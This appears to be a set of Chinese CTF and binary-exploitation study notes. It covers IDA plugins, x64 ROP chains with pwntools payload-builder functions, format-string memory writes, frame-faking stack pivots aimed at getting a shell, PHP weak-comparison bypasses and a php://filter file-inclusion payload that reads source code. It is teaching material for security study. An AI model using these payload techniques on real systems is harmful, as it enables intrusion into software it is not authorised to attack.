1.静态分析

IDA FLIRT Signature Database —— 用于识别静态编译的可执行文件中的库函数

Find Crypt —— 寻找常用加密算法中的常数(pip install yara-python)

IDA signsrch —— 寻找二进制文件所使用的加密、压缩算法

IDA scope —— 自动识别windows函数和压缩、加密算法

Ponce —— 污点分析和符号化执行工具

snowman decompiler —— C/C++反汇编插件(F3 进行反汇编)

keystone —— 二进制文件修改工具,可以直接修改汇编

CodeXplorer —— 自动类型重建以及对象浏览(C++)(jump to disasm)

IDA Ref —— 汇编指令注释(支持arm,x86,mips)

Hexlight —— 大括号高亮匹配及跳转(B跳转到匹配括号)

auto re —— 函数自动重命名

nao —— dead code 清除

HexRaysPyTools  —— 类/结构体创建和虚函数表检测

2.动态调试

IDA sploiter —— 漏洞利用开发工具,寻找gadget

DIE —— 动态调试增强工具,保存函数调用上下文信息

sk3wldbg —— IDA动态调试器,支持多平台

idaemu —— 模拟代码执行(支持X86、ARM平台)

逆向分析常用方法:

利用findcrypt插件识别加密常数, edit->plugins->findcrypt

利用ida scope脚本识别加密、编码算法(windows),file->script file->IDAscope.py

利用signsrch插件识别加密、编码算法 edit->plugins->Signsrch

* 以下的rop gadget均可在linux x64 gcc编译的程序中找到

1. 一个参数的函数调用

address   ----------  pop rdi, ret
value     ----------  rdi
func_addr ----------  plt  或者 函数首地址

不加最终的返回地址,大小为 8*3 字节

2. 两个参数的函数调用

address   ----------  pop rsi, pop r15, ret
value     ----------  rsi
address   ----------  pop rdi, ret
value     ----------  rdi
func_addr ----------  plt 或者 函数首地址

不加最终的返回地址, 大小为8*5字节

3. 三个参数的函数调用

address  -----------  pop rbx, pop rbp, pop r12, pop r13, pop r14,
value    -----------  rbx (0)
value    -----------  rbp (1)
value    -----------  r12 存放函数地址的地址(如got表项地址或者某个可写数据区的地址)
value    -----------  r13 (rdx param3)
value    -----------  r14 (rsi  param2)
value    -----------  r15 (edi param1, 注意低4字节有效)
address  -----------  mov , mov, mov, call, ...., ret 地址
value    -----------  padding
value    -----------  rbx (padding, 也可作为下一次继续调用三参数函数的值)
value    -----------  rbp (同上)
value    -----------  r12 (同上)
value    -----------  r13 (同上)
value    -----------  r14 (同上)
value    -----------  r15 (同上)

不加最终的返回地址,大小为8*15字节

在缓冲区溢出时,要注意对应的rop gadget的大小

最后附不同数量参数函数调用的代码:(pwntools)

def one_param_func_payload(rdi_rop, rdi, func_addr):
    payload = p64(rdi_rop)
    payload += p64(rdi)
    payload += p64(func_addr)
    return payload

def two_param_func_payload(rsi_rop, rsi, rdi_rop, rdi, func_addr):
    payload = p64(rsi_rop)
    payload += p64(rsi)
    payload += p64(rdi_rop)
    payload += p64(rdi)
    payload += p64(func_addr)
    return payload

def three_param_func_payload(setreg_rop, func_addr_addr, param1, param2, param3, callptr_rop):
    payload = p64(setreg_rop)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func_addr_addr)
    payload += p64(param3)
    payload += p64(param2)
    payload += p64(param1)
    payload += p64(callptr_rop)
    payload += 'a'*(8*7)
    return payload

利用pwntools提供的ROP还可以更加精简上述调用,自动完成查找相应rop gadget的功能

binary_path = "./pwnme'
binary = ELF(binary_path)
rop = ROP(binary)

def one_param_func_payload(func_addr, param):
    rdi_rop = rop.find_gadget(['pop rdi', 'ret']).address
    payload = p64(pdi_rop)
    payload += p64(param)
    payload += p64(func_addr)
    return payload

def two_param_func_payload(func_addr, param1, param2):
    rsi_rop = rop.find_gadget(['pop rsi', 'pop r15', 'ret']).address
    payload = p64(rsi_rop)
    payload += p64(param2)
    payload += one_param_func_payload(func_addr, param1)
    return payload

利用roputils可以完成更多参数函数payload的构建

  • readelf -h binary 查看二进制文件头
  • readelf -S binary 查看二进制文件节表(section table)
  • readelf -l binary 查看二进制文件段表(program header table)
  • readelf -x number|name binary 打印下标为number或名字为name的section内容(十六进制)
  • readelf -p number|name binary 以字符串形式打印节区内容
  • readelf -s binary 读取符号表
  • objdump -s binary 将所有节的内容打印出来
  • objdump -d binary 将代码段进行反汇编
  • objdump -r binary 查看重定位表

读/写栈上数据

  • 读:计算出要读的地址是第xxx个不定参数,然后利用%xxx$x 读取(x-十六进制读,lx长整读取(64位))
  • 写:同上,计算xxx,yyy为要写入的值,%yyyc%xxx$hn(写)即可实现栈上数据写入(h-短整型,l-长整型),注意,此时修改的内容不是第xxx个不定参数的内容,而是它指向的内存地址的内容

读/写任意地址数据

  • 读:addr + %xxx$s + signal_str,读取addr地址处的字符串,xxx是根据addr在栈上的地址计算出的不定参数的值,signal_str用于截取获取的字符串,recvuntil(signal_str)
  • 写:addr+%yyyc+%xxx$hn,xxx计算方法同上,yyy+len(addr)为要写入的数据

Continue reading

frame faking是一种伪造ebp,利用leave,ret指令返回到一段已知的可写地址的技术,这种利用方式的优点在于并不需要比较大的空间。下面具体描述了这种利用方式的构造姿势:

< - stack grows this way
   addresses grow this way  - >
                        
                       saved FP   saved vuln. function's return address
--------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret | 
-------------------------|------------------
                         |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                   overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...                     
-----|-----------------------------------------
     |                       the first frame
     +-+
       |
       v
     ------------------------------------------------
     | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
     -----|------------------------------------------
          |                  the second frame  
          +-- ...

  fake_ebp0 should be the address of the "first frame", fake_ebp1 - the
address of the second frame, etc.

上面为x86下frame faking的利用方式,x64下稍有不同,需要利用到构造参数的rop,这部分内容已经在linux x64 rop利用总结中进行了详细讲述。
上面的利用方式需要提前写好相应frame的内容,后来想到一种可以一次完成getshell的变形:

< - stack grows this way
   addresses grow this way  - >
                        
                       saved FP   saved vuln. function's return address
-------------------------------------------------------------------------------
| buffer fill-up(*) | fake_ebp0 | f0 | leaveret | f0_arg1 | f0_arg2 | f0_arg3
-------------------------|-----------------------------------------------------
                         |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                   overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...                     
-----|-----------------------------------------
     |                       the first frame
     +-+
       |
       v
     ------------------------------------------------
     | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
     -----|------------------------------------------
          |                  the second frame  
          +-- ...

  fake_ebp0 should be the address of the "first frame", fake_ebp1 - the
address of the second frame, etc.

二者的区别在于缓冲区溢出时调用了函数f0,然后返回到fake ebp0指向的区域,f0可以是read的地址,那我们就可以完成后面若干frame的数据写入,然后直接转到第一个frame开始执行,x64架构下由于函数传参使用寄存器,所以我们不需要多次采用frame faking,只需要采用一次frame faking即可,x64下简化的frame faking:

< - stack grows this way
   addresses grow this way  - >
                        
                       saved FP   saved vuln. function's return address
-------------------------------------------------------------------------------
| buffer fill-up(*) | fake_rbp0 | rop f0 | leaveret
-------------------------|-----------------------------------------------------
                         |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                   overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_rbp1 | rop1 | rop2 | rop3 | ...                     
-----------------------------------------------

这种利用方式要求在f0调用过程中并不会修改rbp的值,由于x64架构下采用三参数函数调用会改变rbp的值,所以我们需要对函数略作修改:

def three_param_func_payload(setreg_rop, func_addr_addr, param1, param2, param3, callptr_rop, rbp=None):
    payload = p64(setreg_rop)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func_addr_addr)
    payload += p64(param3)
    payload += p64(param2)
    payload += p64(param1)
    payload += p64(callptr_rop)
    if rbp:
        payload += 'a'*(8*2)
        payload += p64(rbp)
        payload += 'a'*(8*4)
    else:
        payload += 'a'*(8*7)
    return payload

payload = three_param_func_payload(0x40567a, binary.got['read'], 0, bss, 1024, 0x405660, bss)
payload += gadget("leave, ret")

增加了rbp变量,使它的值为fake_rbp0的值。

===========================================================================

还有一个方法可以直接改变rsp的值,利用

pop rsp; pop r13; pop r14; pop r15; ret

来改变rsp的值,此时rsp+8*3指向下一个rop gadget,此时可以节省r13、r14、r15的空间

 

  • php因为是弱类型,所以在遇到 “==”时可以轻松绕过:
    • md5比较绕过 (md5($_GET[‘xxx’] == ‘0e134324242423432424234’)
      • 240610708    0e462097431906509019562988736854
      • QNKCDZO    0e830400451993494058024219903391
      • aabg7XSs       0e087386482136013740957780965295
      • 0e开头md5值小结:https://www.219.me/posts/2884.html
    • 序列化绕过
    • 进制转换
      • “0xdeadc0de” == “3735929054”
      • “420.00000e-1” == “42” (安全宝约宝妹)
    • 精度
      • 1 == 0.999999999999999999
  • 数组绕过,php某些函数数组作为参数返回NULL
    • strcmp(array(), “abc”)
    • md5(array())
  • file_get_contents绕过,针对 $result=file_get_contents($_GET[‘xxx’]),在远程协议(如http、ftp协议)失效的情况下,可以用php伪协议绕过
    • ?xxx=data:text/plain,(url编码的内容)
    • ?xxx=php://input,然后将要赋值的数据写入POST里也可达到上述结果
  • include($_GET[‘file’]),文件包含漏洞读取源代码,file=php://filter/read=convert.base64-encode/resource=./class.php

Continue reading

  • linux内核基础:Linux内核设计与实现 linux设备驱动程序 深入理解linux内核
  • 汇编语言:基于linux环境
  • 程序员的自我修养
  • 软件调试
  • Reverse Engineering for beginners
  • debug hacks 中文版
  • binary hacks:https://github.com/shihyu/Linux_Programming/blob/master/books/Binary.Hacks%20%E9%BB%91%E5%AE%A2%E7%A7%98%E7%AC%88100%E9%80%89.pdf
  • 内核漏洞的利用与防范
  • 逆向工程基本原理
  • 加密与解密
  • 0day
  • 漏洞战争

 

附:

web安全:Web安全深度剖析 《黑客攻防技术宝典:WEB实战篇》

 

  • break *0x400100(b main), 在0x400100处下断点,tb, 一次性断点,info b,查看断点信息,delete [number] ,删除断点,watch *(int *)0x08044530,在内存0x08044530处的数据改变时stop
  • x /4xg $ebp, 查看ebp开始的4个8字节内容,(b表示单字节,h表示双字节,w表示四字节,g表示八字节;x表示十六进制输出,s表示字符串输出,i表示反汇编,c表示单字符)
  • p $eax, 输出eax内容, set $eax = 4,修改变量值
  • c继续运行,r重新开始运行,ni单步步过,si单步步入,fini运行至函数刚刚结束处,return expression,将函数返回值指定为expression
  • bt,查看函数调用
  • info f,查看当前栈帧,context查看运行上下文,stack查看当前堆栈
  • call func,强制函数调用
  • ropgagdet,找common rop
  • vmmap,查看虚拟地址分布
  • shellcode,搜索,生成shellcode
  • ptype struct link_map,查看link_map定义
  • p &((struct link_map*)0)->l_info,查看l_info成员的偏移

  • scanf(“%s”),可以读’\x00’字符,不截断
  • 忽略某信号 trap “” signal , 例如 trap “” SIGALRM ,忽略时钟信号, gdb “handle SIGALRM nostop noprint”
  • socat tcp-l:6666,reuseaddr,fork exec:”LD_PRELOAD=./libc.so.6 ./pwn 6666″
  • IDA pro: idapython findbinary(here(), SEARCH_DOWN, “61 62 63″) 从当前位置开始搜索”abc”
  • libc可以用来leak heap地址,fastbins[10]或者normalbins
  • pwntools dynelf 获取两个函数地址相对偏移,获取偏移之后leak一次即可获得system地址
  • pwntools 停止发送信息,p.shutdown(‘send’)
  • 程序运行之后找字符串,system(“sh”)通常也是可行的
  • 插入NULLbytes,http://phrack.org/issues/58/4.html
  • gcc 编译shellcode :gcc -fno-stack-protector -z execstack -o bug bug.c
  • 64 bit call parameters RDI, RSI, RDX, R10, R8, R9,rop 利用见 linux x64 rop利用总结
  • asm(‘sub rsp, 4; jmp rsp’, arch=’amd64′)
  • roputils 关于rop的各种利用方法集合